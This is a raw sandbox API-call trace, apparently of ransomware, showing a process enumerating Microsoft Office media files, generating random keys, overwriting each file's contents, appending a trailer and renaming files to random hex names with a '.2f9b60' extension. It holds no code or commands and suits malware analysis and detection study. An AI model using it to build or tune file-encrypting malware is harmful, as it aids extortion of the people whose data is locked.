[0227.121] wcscmp (_String1="BD15156_.GIF", _String2="..") returned 1 [0227.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85bd00 [0227.121] wcscpy (in: _Dest=0x1b85bd00, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.121] wcscat (in: _Dest=0x1b85bd00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.121] wcscat (in: _Dest=0x1b85bd00, _Source="BD15156_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15156_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15156_.GIF" [0227.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bd00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd0 [0227.122] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15184_.GIF", cAlternateFileName="")) returned 1 [0227.122] wcscmp (_String1="BD15184_.GIF", _String2=".") returned 1 [0227.122] wcscmp (_String1="BD15184_.GIF", _String2="..") returned 1 [0227.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85be20 [0227.122] wcscpy (in: _Dest=0x1b85be20, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.123] wcscat (in: _Dest=0x1b85be20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.123] wcscat (in: _Dest=0x1b85be20, _Source="BD15184_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15184_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15184_.GIF" [0227.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85be20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbdc [0227.123] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15185_.GIF", cAlternateFileName="")) returned 1 [0227.123] wcscmp (_String1="BD15185_.GIF", _String2=".") returned 1 [0227.123] wcscmp (_String1="BD15185_.GIF", _String2="..") returned 1 [0227.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85d140 [0227.124] wcscpy (in: _Dest=0x1b85d140, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.124] wcscat (in: _Dest=0x1b85d140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.124] wcscat (in: _Dest=0x1b85d140, _Source="BD15185_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15185_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15185_.GIF" [0227.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a30 [0227.124] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6d4a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6d4a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15301_.GIF", cAlternateFileName="")) returned 1 [0227.201] wcscmp (_String1="BD15301_.GIF", _String2=".") returned 1 [0227.201] wcscmp (_String1="BD15301_.GIF", _String2="..") returned 1 [0227.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x431076e0 [0227.201] wcscpy (in: _Dest=0x431076e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0227.202] wcscat (in: _Dest=0x431076e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0227.202] wcscat (in: _Dest=0x431076e0, _Source="BD15301_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15301_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15301_.GIF" [0227.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15301_.gif")) returned 0x20 [0227.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15301_.GIF", dwFileAttributes=0x20) returned 1 [0227.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15301_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1490 [0227.203] GetFileSizeEx (in: hFile=0x1490, lpFileSize=0x2923fbe0 | out: lpFileSize=0x2923fbe0*=766) returned 1 [0227.203] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x2fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.203] ReadFile (in: hFile=0x1490, lpBuffer=0x2923fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2923fba8, lpOverlapped=0x0 | out: lpBuffer=0x2923fb60*, lpNumberOfBytesRead=0x2923fba8*=0x4, lpOverlapped=0x0) returned 1 [0227.205] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7da0 [0227.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7620 [0227.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced75f0 [0227.206] NtQuerySystemTime (in: CurrentTime=0x2923faa0 | out: CurrentTime=0x2923faa0*=132462178311994000) returned 0x0 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x5c9147 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x60eabff0 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x7295b3f5 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x74a9a86d [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x348c5fb2 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x472b6129 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x7f28a4e [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x2a527a78 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x566d7542 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x7035b556 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x39a2598b [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x3d516e01 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x64d3f1ee [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x2c87a790 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x8071c3f [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x304643a9 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x2c252340 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x517edd54 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x3f4a4d6c [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x7729d81c [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x77eeb750 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x78a1cb1e [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x44e4a0db [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0xef70ec8 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x7a3ee657 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0xf7a91e2 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x30f84af8 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x261b9c75 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0xe8aba4d [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x4c1ae912 [0227.206] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x7f4aa7d4 [0227.207] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x400a131b [0227.207] ReadFile (in: hFile=0x1490, lpBuffer=0x41cea520, nNumberOfBytesToRead=0x2fe, lpNumberOfBytesRead=0x2923fa90, lpOverlapped=0x0 | out: lpBuffer=0x41cea520*, lpNumberOfBytesRead=0x2923fa90*=0x2fe, lpOverlapped=0x0) returned 1 [0227.207] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.208] WriteFile (in: hFile=0x1490, lpBuffer=0x41ce2d00*, nNumberOfBytesToWrite=0x2fe, lpNumberOfBytesWritten=0x2923fa94, lpOverlapped=0x0 | out: lpBuffer=0x41ce2d00*, lpNumberOfBytesWritten=0x2923fa94*=0x2fe, lpOverlapped=0x0) returned 1 [0234.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6bf0 [0234.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0234.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a62f0) returned 1 [0234.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ce2d00) returned 1 [0234.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cea520) returned 1 [0234.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e390) returned 1 [0234.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62320) returned 1 [0234.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a62f0 [0234.048] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.048] WriteFile (in: hFile=0x1490, lpBuffer=0x431f1920*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2923fbb0, lpOverlapped=0x0 | out: lpBuffer=0x431f1920*, lpNumberOfBytesWritten=0x2923fbb0*=0x10a, lpOverlapped=0x0) returned 1 [0236.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058bf0 [0236.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0236.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd00) returned 1 [0236.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0236.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0236.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f940) returned 1 [0236.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058bf0) returned 1 [0236.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7fc0 [0236.202] sprintf (in: _Dest=0x1b7d7fc0, _Format="%c%c" | out: _Dest="4d") returned 2 [0236.202] sprintf (in: _Dest=0x1b7d7fc2, _Format="%c%c" | out: _Dest="59") returned 2 [0236.202] sprintf (in: _Dest=0x1b7d7fc4, _Format="%c%c" | out: _Dest="aa") returned 2 [0236.202] sprintf (in: _Dest=0x1b7d7fc6, _Format="%c%c" | out: _Dest="84") returned 2 [0236.202] sprintf (in: _Dest=0x1b7d7fc8, _Format="%c%c" | out: _Dest="4a") returned 2 [0236.202] sprintf (in: _Dest=0x1b7d7fca, _Format="%c%c" | out: _Dest="46") returned 2 [0236.202] sprintf (in: _Dest=0x1b7d7fcc, _Format="%c%c" | out: _Dest="5b") returned 2 [0236.202] sprintf (in: _Dest=0x1b7d7fce, _Format="%c%c" | out: _Dest="c4") returned 2 [0236.202] sprintf (in: _Dest=0x1b7d7fd0, _Format="%c%c" | out: _Dest="98") returned 2 [0236.202] sprintf (in: _Dest=0x1b7d7fd2, _Format="%c%c" | out: _Dest="8d") returned 2 [0236.202] sprintf (in: _Dest=0x1b7d7fd4, _Format="%c%c" | out: _Dest="71") returned 2 [0236.202] sprintf (in: _Dest=0x1b7d7fd6, _Format="%c%c" | out: _Dest="99") returned 2 [0236.202] sprintf (in: _Dest=0x1b7d7fd8, _Format="%c%c" | out: _Dest="92") returned 2 [0236.202] sprintf (in: _Dest=0x1b7d7fda, _Format="%c%c" | out: _Dest="a9") returned 2 [0236.202] sprintf (in: _Dest=0x1b7d7fdc, _Format="%c%c" | out: _Dest="d3") returned 2 [0236.202] sprintf (in: _Dest=0x1b7d7fde, _Format="%c%c" | out: _Dest="58") returned 2 [0236.203] sprintf (in: _Dest=0x1b7d7fe0, _Format="%c%c" | out: _Dest="30") returned 2 [0236.203] sprintf (in: _Dest=0x1b7d7fe2, _Format="%c%c" | out: _Dest="3a") returned 2 [0236.203] sprintf (in: _Dest=0x1b7d7fe4, _Format="%c%c" | out: _Dest="a6") returned 2 [0236.203] sprintf (in: _Dest=0x1b7d7fe6, _Format="%c%c" | out: _Dest="b1") returned 2 [0236.203] sprintf (in: _Dest=0x1b7d7fe8, _Format="%c%c" | out: _Dest="02") returned 2 [0236.203] sprintf (in: _Dest=0x1b7d7fea, _Format="%c%c" | out: _Dest="e4") returned 2 [0236.203] sprintf (in: _Dest=0x1b7d7fec, _Format="%c%c" | out: _Dest="ce") returned 2 [0236.203] sprintf (in: _Dest=0x1b7d7fee, _Format="%c%c" | out: _Dest="2c") returned 2 [0236.203] RtlInitAnsiString (in: DestinationString=0x2923fc28, SourceString="4d59aa844a465bc4988d719992a9d358303aa6b102e4ce2c" | out: DestinationString="4d59aa844a465bc4988d719992a9d358303aa6b102e4ce2c") [0236.203] RtlAnsiStringToUnicodeString (in: DestinationString=0x2923fbf8, SourceString="4d59aa844a465bc4988d719992a9d358303aa6b102e4ce2c", AllocateDestinationString=1 | out: DestinationString="4d59aa844a465bc4988d719992a9d358303aa6b102e4ce2c") returned 0x0 [0236.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310e9c0 [0236.204] wcscat (in: _Dest=0x20506310, _Source="4d59aa844a46" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\4d59aa844a46") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\4d59aa844a46" [0236.204] wcscat (in: _Dest=0x20506310, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\4d59aa844a46.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\4d59aa844a46.2f9b60" [0236.204] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\4d59aa844a46.2f9b60", NtPathName=0x2923fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\4d59aa844a46.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e2c60 Thread: id = 1371 os_tid = 0xe50 [0118.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 0x20 [0118.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW", dwFileAttributes=0x20) returned 1 [0118.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x149c [0118.524] GetFileSizeEx (in: hFile=0x149c, lpFileSize=0x3de7fa60 | out: lpFileSize=0x3de7fa60*=492624) returned 1 [0118.524] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x7844c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.524] ReadFile (in: hFile=0x149c, lpBuffer=0x3de7f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3de7fa28, lpOverlapped=0x0 | out: lpBuffer=0x3de7f9e0*, lpNumberOfBytesRead=0x3de7fa28*=0x4, lpOverlapped=0x0) returned 1 [0118.613] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aae60 [0118.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa740 [0118.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa770 [0118.613] NtQuerySystemTime (in: CurrentTime=0x3de7f920 | out: CurrentTime=0x3de7f920*=132462177240430000) returned 0x0 [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x31d55a0d [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x255d9d18 [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x304b0fba [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x2012e2de [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x1ab8e4a9 [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x6041aee3 [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x3002d48d [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x302831cf [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x2b407997 [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x4fc5bc1b [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x4a58e068 [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x37d4ecaf [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x7fce85be [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x37a9856 [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x438f8d00 [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x346ab074 [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0xa20a466 [0118.613] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x3f858358 [0118.614] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x6418c5d2 [0118.614] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x36035d83 [0118.614] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x1442cfbb [0118.614] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x4de71d95 [0118.614] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x3b48c607 [0118.614] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x432b4d12 [0118.614] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x728ad9a4 [0118.614] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x4edda015 [0118.614] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x248eecdb [0118.614] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x60c2920e [0118.614] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x4e9f0835 [0118.614] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x76c908eb [0118.614] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x254a8618 [0118.614] RtlRandomEx (in: Seed=0x3de7f910 | out: Seed=0x3de7f910) returned 0x6728d0dc [0118.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7a0 [0118.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0118.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab60 [0118.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0118.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa770) returned 1 [0118.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aae60) returned 1 [0118.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fbd170 [0118.622] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.622] ReadFile (in: hFile=0x149c, lpBuffer=0x41fbd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3de7f980, lpOverlapped=0x0 | out: lpBuffer=0x41fbd170*, lpNumberOfBytesRead=0x3de7f980*=0x3c00, lpOverlapped=0x0) returned 1 [0118.631] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0118.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa770 [0118.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa770) returned 1 [0118.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc0d80 [0118.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa770 [0118.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aabf0 [0118.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aabf0) returned 1 [0118.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0118.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.632] WriteFile (in: hFile=0x149c, lpBuffer=0x41fc0d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3de7f980, lpOverlapped=0x0 | out: lpBuffer=0x41fc0d80*, lpNumberOfBytesWritten=0x3de7f980*=0x3c00, lpOverlapped=0x0) returned 1 [0147.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc0d80) returned 1 [0147.900] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x3fc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.900] ReadFile (in: hFile=0x149c, lpBuffer=0x41fbd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3de7f980, lpOverlapped=0x0 | out: lpBuffer=0x41fbd170*, lpNumberOfBytesRead=0x3de7f980*=0x3c00, lpOverlapped=0x0) returned 1 [0148.015] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x3fc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0148.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 